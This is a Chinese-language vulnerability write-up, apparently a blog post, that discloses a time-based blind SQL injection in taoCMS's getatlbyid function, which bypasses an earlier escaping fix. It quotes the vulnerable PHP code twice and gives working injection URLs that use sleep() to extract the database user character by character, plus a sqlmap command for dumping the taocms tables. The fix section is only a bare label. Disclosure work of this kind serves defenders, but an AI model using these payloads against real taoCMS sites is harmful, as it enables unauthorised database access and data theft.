比较尴尬的是,猜测由于官网使用了memcache,因此盲注失败了。。。 Taocms的Sql注射一枚可以无视GPC :http://www.2cto.com/Article/201406/309080.html 上面的 漏洞成因是: $path变量来自于$_SERVER[‘QUERY_STRING’],因此变量不受GPC保护(虽然高版本 PHP已经去掉了GPC)。 于是作者的修复方法是:$path = Base::safeword($path); 用addslashes为单引号转义。 所以找个数字型的继续注入就OK。 taoCMS的架构设计比较奇特,可以调用Index类中public方法。 访问 http://url/index.php/?path&action=getatlbyid 就调用了
Index::getatlbyid(‘?path&action=getatlbid’);
static public function getatlbyid($id){
if(!$id)return null;
self::$_db=new Dbclass(SYS_ROOT.DB_NAME);
if(MEMCACHE){
self::$_mem=new Memcached(MEMCACHE);
if(!$atl=self::$_mem->get($id.'_cms')){
$atl=self::$_db->get_one(TB."cms",'status=1 and id='.$id,"*",1);;
self::$_mem->set($id.'_cms',$atl);
}
}else{
$atl=self::$_db->get_one(TB."cms",'status=1 and id='.$id,"*",1);
}
return $atl;
}
可以看到$id没有进行任何处理就带入了sql查询,因此导致了注入。 这里引入了一个?导致没办法进行办法闭合掉,不过好在是用了$_SERVER[‘QUERY_STRING’]来获取查询参数,所以可以把?放到后边规避掉。 访问方式就是 http://url/index.php/payload%23?action=getatlbyid 蛋疼的是这个函数没有输出结果。。。报错也没有回显,因此只能用盲注了。 http://demo/tao/index.php/if(ascii(substr(user(),1,1))>113,sleep(4),26)%23?action=getatlbyid 延迟 http://demo/tao/index.php/if(ascii(substr(user(),1,1))>114,sleep(4),26)%23?action=getatlbyid 正常 第一个字母是char(114)=r。 手工盲注太费事,写个中转脚本用sqlmap跑下。 ./sqlmap.py -u http://demo/tao.php?sqli=26 –technique T –dbms MySQL –prefix “” –suffix “” -D taocms –tables
static public function getatlbyid($id){
if(!$id)return null;
self::$_db=new Dbclass(SYS_ROOT.DB_NAME);
if(MEMCACHE){
self::$_mem=new Memcached(MEMCACHE);
if(!$atl=self::$_mem->get($id.'_cms')){
$atl=self::$_db->get_one(TB."cms",'status=1 and id='.$id,"*",1);;
self::$_mem->set($id.'_cms',$atl);
}
}else{
$atl=self::$_db->get_one(TB."cms",'status=1 and id='.$id,"*",1);
}
return $atl;
}
$id未处理带入sql查询,导致注入。 修复方案: sqli防注入 |
评论前必须登录!
立即登录